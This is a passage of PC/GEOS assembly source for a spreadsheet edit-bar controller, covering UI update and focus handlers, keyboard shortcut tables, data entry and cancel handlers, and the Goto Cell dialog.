EBC_toolList GenControlChildInfo \
<offset GotoCellEdit, mask SSEBCTF_GOTO_CELL, \
mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset GotoCellButton, mask SSEBCTF_GOTO_CELL_BUTTON, \
mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset EditIcons, mask SSEBCTF_EDIT_ICONS, \
mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset EditBar, mask SSEBCTF_EDIT_BAR, \
mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset BackspaceButton, mask SSEBCTF_BACKSPACE_BUTTON, \
mask GCCF_IS_DIRECTLY_A_FEATURE>,
<offset FilterSelector, mask SSEBCTF_FILTER_SELECTOR, \
mask GCCF_IS_DIRECTLY_A_FEATURE>
; Careful, this table is in the *opposite* order as the record which
; it corresponds to.
EBC_toolFeaturesList GenControlFeaturesInfo \
<offset GotoCellEdit, GotoCellName, 0>,
<offset GotoCellButton, GotoCellButtonName, 0>,
<offset EditIcons, EditIconsName, 0>,
<offset EditBar, EditBarName, 0>,
<offset BackspaceButton, BackspaceButtonName, 0>,
<offset FilterSelector, FilterSelectorName, 0>
if FULL_EXECUTE_IN_PLACE
SpreadsheetControlInfoXIP ends
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EBCUpdateUI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Update the UI for the EditBarControl
CALLED BY: MSG_GEN_CONTROL_UPDATE_UI
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of SSEditBarControlClass ax - the message
RETURN:
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 5/12/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EBCUpdateUI method dynamic SSEditBarControlClass, \
MSG_GEN_CONTROL_UPDATE_UI
;
; Get notification data
;
mov bx, ss:[bp].GCUUIP_dataBlock
push bx
call MemLock
mov dx, ax ;dx <- seg addr of notification
mov es, ax ;es <- seg addr of notification
mov bx, ss:[bp].GCUUIP_toolBlock
mov ax, ss:[bp].GCUUIP_toolboxFeatures
cmp ss:[bp].GCUUIP_changeType, GWNT_SPREADSHEET_EDIT_BAR_CHANGE
LONG je editBarUpdate
; make sure that the font of the text in edit bar is the
; current font
;
; Any "Goto" tool?
;
test ax, mask SSEBCTF_GOTO_CELL
jz noGotoTool
push bp
mov bp, offset NSSACC_text ;dx:bp <- ptr to text
mov di, offset GotoCellEdit ;^lbx:di <- text object
call EBC_SetText
pop bp
noGotoTool:
;
; Any "Goto" button?
;
test ax, mask SSEBCTF_GOTO_CELL_BUTTON
jz noGotoButton
mov cx, offset NSSACC_text ;dx:cx <- ptr to text
mov di, offset GotoCellButton ;^lbx:di <- text object
call EBC_SetMoniker
noGotoButton:
;
; Any "Goto" DB?
;
mov bx, ss:[bp].GCUUIP_childBlock
mov ax, ss:[bp].GCUUIP_features
test ax, mask SSEBCF_GOTO_CELL
jz noGotoDB
mov bp, offset NSSACC_text ;dx:bp <- ptr to text
mov di, offset GotoDBCellEdit ;^lbx:di <- text object
call EBC_SetText
call EBC_SelectText ;select the new cell ref text
noGotoDB:
jmp done
editBarUpdate:
;
; Any "Edit Bar" tool?
;
test ax, mask SSEBCTF_EDIT_BAR
jz noEditBar
;
; Is the edit bar dirty? If so, ignore this update
; so we don't obliterate what the user is typing.
;
call EBC_CheckModified
jnz done ;branch if modified
;
; Update the edit bar
;
mov bp, offset NSSEBC_text ;dx:bp <- ptr to text
mov di, offset EditBar ;di <- text object
if _PROTECT_CELL
call EBC_EnableDisable ;enable/disable the text obj
endif
call EBC_SetText
;
; Set the edit bar not user modified
;
call EBC_NotModified
noEditBar:
done:
;
; All done...clean up
;
pop bx
call MemUnlock
ret
EBCUpdateUI endm
;---
EBC_CheckModified proc near
uses ax, si
.enter
push ax, si
mov ax, MSG_VIS_TEXT_GET_USER_MODIFIED_STATE
mov si, offset EditBar ;^lbx:si <- OD of edit bar
call EBC_ObjMessageCall
pop ax, si
tst cx ;user modified?
.leave
ret
EBC_CheckModified endp
EBC_NotModified proc near
uses ax, si
.enter
mov ax, MSG_VIS_TEXT_SET_NOT_USER_MODIFIED
mov si, offset EditBar ;^lbx:si <- OD of edit bar
call EBC_ObjMessageCall
.leave
ret
EBC_NotModified endp
if _PROTECT_CELL
EBC_EnableDisable proc near
uses ax, cx, si, dx, bp
.enter
;
; enable or disable the Edit bar text field based on the protection
; flag. If the cell is unprotected, enable the text; otherwise, disable
; the text.
;
mov ax, MSG_GEN_SET_NOT_ENABLED ;assume disable
push ds
mov ds, dx ;ds = notification seg
test ds:[NSSEBC_miscData], mask SSEBCMD_PROTECTION
pop ds
jnz msgSet ;jump if cell protected
mov ax, MSG_GEN_SET_ENABLED
msgSet:
mov si, di
mov dl, VUM_NOW
call EBC_ObjMessageCall
.leave
ret
EBC_EnableDisable endp
endif
EBC_SetText proc near
uses ax, cx, si, dx, bp
.enter
;
; the text message can destroy cx, dx, bp
;
mov si, di ;^lbx:si <- OD of text object
mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR
clr cx ;cx <- text is NULL-terminated
call EBC_ObjMessageCall
.leave
ret
EBC_SetText endp
EBC_SetMoniker proc near
uses ax, cx, si, dx, bp
.enter
;
; the text message can destroy cx, dx, bp
;
xchg cx, dx ; cx:dx = fptr to string
mov bp, VUM_NOW
mov si, di ;^lbx:si <- OD of text object
mov ax, MSG_GEN_REPLACE_VIS_MONIKER_TEXT
call EBC_ObjMessageCall
.leave
ret
EBC_SetMoniker endp
EBC_SelectText proc near
uses ax, cx, si, dx, bp
.enter
;
; the text message can destroy cx, dx, bp
;
mov si, di ;^lbx:si <- OD of text object
mov ax, MSG_VIS_TEXT_SELECT_ALL
call EBC_ObjMessageCall
.leave
ret
EBC_SelectText endp
DisEnableEditIcons proc near
uses ax, dx, si
.enter
push ax
mov dl, VUM_NOW ;dl <- VisUpdateMode
mov si, offset EnterIcon
call EBC_ObjMessageSend
pop ax
mov dl, VUM_NOW ;dl <- VisUpdateMode
mov si, offset CancelIcon
call EBC_ObjMessageSend
.leave
ret
DisEnableEditIcons endp
DisEnableBackspaceButton proc near
uses ax, dx, si
.enter
mov dl, VUM_NOW ;dl <- VisUpdateMode
mov si, offset BackspaceButton
call EBC_ObjMessageSend
.leave
ret
DisEnableBackspaceButton endp
DisEnableFilterSelector proc near
uses ax, dx, si
.enter
mov dl, VUM_NOW ;dl <- VisUpdateMode
mov si, offset FilterSelector
call EBC_ObjMessageSend
.leave
ret
DisEnableFilterSelector endp
EBC_ObjMessageSend proc near
uses di
.enter
mov di, mask MF_FIXUP_DS
call ObjMessage
.leave
ret
EBC_ObjMessageSend endp
EBC_ObjMessageCall proc near
uses di
.enter
mov di, mask MF_FIXUP_DS or mask MF_CALL
call ObjMessage
.leave
ret
EBC_ObjMessageCall endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetRCValue
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: set row/column GenValues from row/column text
CALLED BY: INTERNAL
EBCUpdateUI
PASS: *ds:si = controller
dx:bp = row/column text
bx = child block
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 10/28/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EBCTextGainedFocus
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle gaining the focus
CALLED BY: MSG_META_GAINED_FOCUS_EXCL
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of EBCEditBarClass
ax - the message
RETURN: none
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 5/18/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EBCTextGainedFocus method dynamic EBCEditBarClass, \
MSG_META_GAINED_FOCUS_EXCL
;
; Let our superclass do its thing
;
mov di, offset EBCEditBarClass
call ObjCallSuperNoLock
;
; Save our focus state
;
mov di, ds:[si]
add di, ds:[di].Gen_offset
ornf ds:[di].EBCI_flags, mask SSEBCF_IS_FOCUS
;
; If we have any icons, call the controller enable them
;
movdw bxsi, ds:[OLMBH_output]
mov ax, MSG_SSEBC_DIS_ENABLE_EDIT_ICONS
mov cx, MSG_GEN_SET_ENABLED
call EBC_ObjMessageCall
ret
EBCTextGainedFocus endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EBCTextLostFocus
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle losing the focus
CALLED BY: MSG_META_LOST_FOCUS_EXCL
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of EBCEditBarClass
ax - the message
RETURN: none
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 6/12/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EBCTextLostFocus method dynamic EBCEditBarClass, \
MSG_META_LOST_FOCUS_EXCL
;
; Let our superclass do its thing
;
mov di, offset EBCEditBarClass
call ObjCallSuperNoLock
;
; Update our focus state
;
mov di, ds:[si]
add di, ds:[di].Gen_offset
andnf ds:[di].EBCI_flags, not (mask SSEBCF_IS_FOCUS)
;
; If we have any icons, call the controller to disable them
;
movdw bxsi, ds:[OLMBH_output]
mov ax, MSG_SSEBC_DIS_ENABLE_EDIT_ICONS
mov cx, MSG_GEN_SET_NOT_ENABLED
call EBC_ObjMessageCall
ret
EBCTextLostFocus endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EBCTextGetFlags
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get current flags for EditBar text object
CALLED BY: MSG_EBC_TEXT_EDIT_GET_FLAGS
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of EBCEditBarClass
ax - the message
RETURN: cl - SSEditBarControlFlags
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 6/12/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EBCTextGetFlags method dynamic EBCEditBarClass, \
MSG_EBC_TEXT_EDIT_GET_FLAGS
mov cl, ds:[di].EBCI_flags ;cl <- EditBarControlFlags
ret
EBCTextGetFlags endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EBCEditKbdChar
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle keypress in the edit bar
CALLED BY: MSG_META_KBD_CHAR
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of EBCEditBarClass
ax - MSG_META_KBD_CHAR:
cl - Character (Chars or VChar)
ch - CharacterSet (CS_BSW or CS_CONTROL)
dl - CharFlags
dh - ShiftState (left from conversion)
bp low - ToggleState
bp high - scan code
RETURN: none
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 5/22/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EBCEditKbdChar method dynamic EBCEditBarClass, \
MSG_META_KBD_CHAR
SBCS< cmp ch, CS_CONTROL ;control key? >
DBCS< cmp ch, CS_CONTROL_HB ;control key? >
jne callSuper ;branch if not a control key
test dl, mask CF_STATE_KEY or \
mask CF_TEMP_ACCENT
jnz callSuper
call EBCCheckShortcut ;shortcut?
jnc callSuper ;branch if not found
test dl, mask CF_RELEASE ;release or press?
jnz quit ;ignore releases on shortcuts
call cs:EBCKbdActions[di] ;call handler routine
jnc callSuper ;branch if not handled
quit:
.leave
ret
callSuper:
mov di, offset EBCEditBarClass ;es:di <- ptr to class
call ObjCallSuperNoLock
jmp quit
EBCEditKbdChar endm
EBCCancel proc near
movdw bxsi, ds:[OLMBH_output]
mov ax, MSG_SSEBC_CANCEL_DATA
call EBC_ObjMessageCall
stc ;carry <- press handled
ret
EBCCancel endp
EBCEnterNoPass proc near
clr bp
FALL_THRU EBCEnter
EBCEnterNoPass endp
EBCEnter proc near
movdw bxsi, ds:[OLMBH_output]
mov ax, MSG_SSEBC_ENTER_DATA
call EBC_ObjMessageCall
stc ;carry <- press handled
ret
EBCEnter endp
EBCEnterAndPass proc near
;
; Record the keyboard event
;
mov bx, segment SpreadsheetClass
mov si, offset SpreadsheetClass
mov di, mask MF_RECORD
call ObjMessage
mov bp, di ; kbd event
GOTO EBCEnter
EBCEnterAndPass endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EBCCheckStart
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See if we're at the start of the edit bar
CALLED BY: EBCEditKbdChar()
PASS: *ds:si - EBCEditBar object
ax - MSG_META_KBD_CHAR
cx, dx, bp - values for MSG_META_KBD_CHAR
RETURN: carry - set if at start of edit bar
DESTROYED: bx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 2/ 7/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EBCCheckStart proc near
mov bx, ds:LMBH_handle ;^lbx:si <- OD of text object
push ax, cx, dx, bp
;
; Get the current selection
;
sub sp, (size VisTextRange)
mov bp, sp ;ss:bp <- ptr to VisTextRange
call GetSelection
mov bx, ss:[bp].VTR_start.low ;bx <- start of selection
add sp, (size VisTextRange)
;
; If we're at the start, enter data and go...
;
pop ax, cx, dx, bp
tst bx ;at start?
jne notStart ;branch (carry clear)
call EBCEnterAndPass
notStart:
ret
EBCCheckStart endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EBCCheckEnd
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See if we're at the end of the edit bar
CALLED BY: EBCEditKbdChar()
PASS: *ds:si - EBCEditBar object
ax - MSG_META_KBD_CHAR
cx, dx, bp - values for MSG_META_KBD_CHAR
RETURN: carry - set if at end of edit bar
DESTROYED: bx, si
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 2/ 7/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EBCCheckEnd proc near
mov bx, ds:LMBH_handle ;^lbx:si <- OD of text object
push ax, cx, dx, bp
;
; Get the current selection
;
sub sp, (size VisTextRange)
mov bp, sp ;ss:bp <- ptr to VisTextRange
call GetSelection
mov dx, ss:[bp].VTR_end.low ;bx <- end of selection
add sp, (size VisTextRange)
;
; Get the length
;
push dx
mov ax, MSG_VIS_TEXT_GET_TEXT_SIZE
call EBC_ObjMessageCall ;dx:ax <- length of text
EC < tst dx ;>
EC < ERROR_NZ VISIBLE_POSITION_TOO_LARGE ;>
pop bx
sub bx, ax ;bx <- position - length
;
; If we're at the end, enter data and go...
;
pop ax, cx, dx, bp
tst bx ;at end?
jne notEnd ;branch (carry clear)
call EBCEnterAndPass
notEnd:
ret
EBCCheckEnd endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EBCCheckShortcut
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: See if the keypress is an edit bar shortcut
CALLED BY: EBCKbdChar()
PASS: ax - MSG_META_KBD_CHAR:
cl - Character (Chars or VChar)
ch - CharacterSet (CS_BSW or CS_CONTROL)
dl - CharFlags
dh - ShiftState (left from conversion)
bp low - ToggleState
bp high - scan code
RETURN: carry - set if shortcut
di - offset of shortcut in table
DESTROYED: none
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 12/13/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EBCCheckShortcut proc near
uses ax, ds, si
.enter
mov ax, (length EBCKbdShortcuts)
mov si, offset EBCKbdShortcuts
segmov ds, cs
call FlowCheckKbdShortcut
mov di, si ;di <- offset of shortcut
.leave
ret
EBCCheckShortcut endp
;p a c s s c
;h l t h e h
;y t r f t a
;s l t r
;
if DBCS_PCGEOS
EBCKbdShortcuts KeyboardShortcut \
<0, 0, 0, 0, C_SYS_ESCAPE and mask KS_CHAR>, ;<Esc>
<0, 0, 0, 0, C_SYS_TAB and mask KS_CHAR>, ;<Tab>
<0, 0, 0, 1, C_SYS_TAB and mask KS_CHAR>, ;<Shift-Tab>
<0, 0, 0, 0, C_SYS_ENTER and mask KS_CHAR>, ;<Enter>
<0, 0, 0, 1, C_SYS_ENTER and mask KS_CHAR>, ;<Shift-Enter>
<0, 0, 0, 0, C_SYS_UP and mask KS_CHAR>, ;<UpArrow>
<0, 0, 0, 0, C_SYS_DOWN and mask KS_CHAR>, ;<DownArrow>
<0, 0, 1, 0, C_SYS_UP and mask KS_CHAR>, ;<Ctrl-Up>
<0, 0, 1, 0, C_SYS_DOWN and mask KS_CHAR>, ;<Ctrl-Down>
<0, 0, 1, 0, C_SYS_LEFT and mask KS_CHAR>, ;<Ctrl-Left>
<0, 0, 1, 0, C_SYS_RIGHT and mask KS_CHAR>, ;<Ctrl-Right>
<0, 0, 0, 0, C_SYS_PREVIOUS and mask KS_CHAR>, ;<PageUp>
<0, 0, 0, 0, C_SYS_NEXT and mask KS_CHAR>, ;<PageDown>
<0, 0, 1, 0, C_SYS_PREVIOUS and mask KS_CHAR>, ;<Ctrl-PageUp>
<0, 0, 1, 0, C_SYS_NEXT and mask KS_CHAR>, ;<Ctrl-PageDown>
<0, 0, 0, 0, C_SYS_LEFT and mask KS_CHAR>, ;<LeftArrow>
<0, 0, 0, 0, C_SYS_RIGHT and mask KS_CHAR>, ;<RightArrow>
<0, 0, 1, 0, C_SYS_ENTER and mask KS_CHAR> ;<Ctrl><Enter>
else
EBCKbdShortcuts KeyboardShortcut \
<0, 0, 0, 0, 0xf, VC_ESCAPE>, ;<Esc>
<0, 0, 0, 0, 0xf, VC_TAB>, ;<Tab>
<0, 0, 0, 1, 0xf, VC_TAB>, ;<Shift-Tab>
<0, 0, 0, 0, 0xf, VC_ENTER>, ;<Enter>
<0, 0, 0, 1, 0xf, VC_ENTER>, ;<Shift-Enter>
<0, 0, 0, 0, 0xf, VC_UP>, ;<UpArrow>
<0, 0, 0, 0, 0xf, VC_DOWN>, ;<DownArrow>
<0, 0, 1, 0, 0xf, VC_UP>, ;<Ctrl-Up>
<0, 0, 1, 0, 0xf, VC_DOWN>, ;<Ctrl-Down>
<0, 0, 1, 0, 0xf, VC_LEFT>, ;<Ctrl-Left>
<0, 0, 1, 0, 0xf, VC_RIGHT>, ;<Ctrl-Right>
<0, 0, 0, 0, 0xf, VC_PREVIOUS>, ;<PageUp>
<0, 0, 0, 0, 0xf, VC_NEXT>, ;<PageDown>
<0, 0, 1, 0, 0xf, VC_PREVIOUS>, ;<Ctrl-PageUp>
<0, 0, 1, 0, 0xf, VC_NEXT>, ;<Ctrl-PageDown>
<0, 0, 0, 0, 0xf, VC_LEFT>, ;<LeftArrow>
<0, 0, 0, 0, 0xf, VC_RIGHT>, ;<RightArrow>
<0, 0, 1, 0, 0xf, VC_ENTER> ;<Ctrl><Enter>
endif
EBCKbdActions nptr \
offset EBCCancel,
offset EBCEnterAndPass,
offset EBCEnterAndPass,
offset EBCEnterAndPass,
offset EBCEnterAndPass,
offset EBCEnterAndPass,
offset EBCEnterAndPass,
offset EBCEnterAndPass,
offset EBCEnterAndPass,
offset EBCEnterAndPass,
offset EBCEnterAndPass,
offset EBCEnterAndPass,
offset EBCEnterAndPass,
offset EBCEnterAndPass,
offset EBCEnterAndPass,
offset EBCCheckStart,
offset EBCCheckEnd,
offset EBCEnterNoPass
CheckHack <(length EBCKbdActions) eq (length EBCKbdShortcuts)>
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EBCEnterData
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Enter data from the edit bar
CALLED BY: MSG_SSEBC_ENTER_DATA
PASS: *ds:si - instance data
es - seg addr of SSEditBarControlClass
ax - the message
bp - keyboard event to send to spreadsheet, or zero if none.
RETURN: none
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 5/18/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EBCEnterData method dynamic SSEditBarControlClass,
MSG_SSEBC_ENTER_DATA
call SSCGetToolBlockAndTools
;
; See if any changes have been made. If not, we're done
; !* Commenting this out to fix a bug that allowed illegally formated
; data to be entered into a cell from the edit bar on the 2nd try
; (see bug 38444. PB 7/5/95
; call EBC_CheckModified
; jz done ;branch if not modified
mov di, offset EditBar ;^lbx:di <- OD of text object
mov ax, MSG_SPREADSHEET_ENTER_DATA_WITH_EVENT
;ax <- message to send
call GetSendText ;get text and send to ssheet
;
; Mark the edit bar as not modified
;
call EBC_NotModified
done::
ret
EBCEnterData endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EBCCancelData
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Cancel changes to data in edit abr
CALLED BY: MSG_SSEBC_CANCEL_DATA
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of SSEditBarControlClass
ax - the message
RETURN: none
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 1/31/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EBCCancelData method dynamic SSEditBarControlClass,
MSG_SSEBC_CANCEL_DATA
call SSCGetToolBlockAndTools
;
; Mark the text as not modified so the notification isn't ignored
;
call EBC_NotModified
;
; Force the controller to send a new notification
;
mov ax, MSG_GEN_RESET
call ObjCallInstanceNoLock
ret
EBCCancelData endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EBCInitiateEditBarDB
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DESCRIPTION: Brings up the "Goto Cell" dialog box
CALLED BY: MSG_SSEBC_INITIATE_GOTO_CELL_DB
PASS: *ds:si = SSEditBarContorlClass object
RETURN: nothing
DESTROYED: ax, cx, dx, bp
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
martin 7/15/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EBCInitiateEditBarDB method dynamic SSEditBarControlClass,
MSG_SSEBC_INITIATE_GOTO_CELL_DB
.enter
;
; Get pointer to Goto Dialog
;
call SSCGetChildBlockAndFeatures
tst bx
jnz gotGotoDB
;
; If no child block yet, build it now
;
mov ax, MSG_GEN_CONTROL_GENERATE_UI
call ObjCallInstanceNoLock
call SSCGetChildBlockAndFeatures
gotGotoDB:
;
; If the feature exists, initiate the dialog!
;
test ax, mask SSEBCF_GOTO_CELL
jz noGotoDB
mov si, offset GotoDB ;^lbx:si <- OD of text object
mov ax, MSG_GEN_INTERACTION_INITIATE
call EBC_ObjMessageCall
noGotoDB:
.leave
ret
EBCInitiateEditBarDB endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EBCInitialKeypress
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle initial keypress that begins editing
CALLED BY: MSG_SSEBC_INITIAL_KEYPRESS
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of SSEditBarControlClass
ax - the message
same as MSG_META_KBD_CHAR:
cl - Character (Chars or VChar)
ch - CharacterSet (CS_BSW or CS_CONTROL)
dl - CharFlags
dh - ShiftState (left from conversion)
bp low - ToggleState
bp high - scan code
RETURN: none
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 5/27/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EBCInitialKeypress method dynamic SSEditBarControlClass, \
MSG_SSEBC_INITIAL_KEYPRESS
call SSCGetToolBlockAndTools
test ax, mask SSEBCTF_EDIT_BAR ;any edit bar?
jz done ;branch if no edit bar
;
; If we have an edit bar:
; (1) select all the text
; (2) send the keypress to it
; (3) tell it to grab the focus
; changed 6/27/94-brianc to work with FEP:
; (1) select all the text
; (2) tell it to grab the focus
; (3) send the keypress to it
;
mov si, offset EditBar
if _PROTECT_CELL
;
; We don't want to get any keyboard input when the cell is protected,
; so ignore the input when the text field is disabled.
;
push cx, dx, bp
mov ax, MSG_GEN_GET_ENABLED
call EBC_ObjMessageCall
pop cx, dx, bp
jnc done
endif
push cx, dx, bp
mov ax, MSG_VIS_TEXT_SELECT_ALL
call EBC_ObjMessageCall
mov ax, MSG_META_GRAB_FOCUS_EXCL
call EBC_ObjMessageCall
pop cx, dx, bp
mov ax, MSG_META_KBD_CHAR
call EBC_ObjMessageCall
done:
ret
EBCInitialKeypress endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EBCPassKeypress
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Pass a keypress on to the spreadsheet
CALLED BY: MSG_SSEBC_PASS_KEYPRESS
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of SSEditBarControlClass
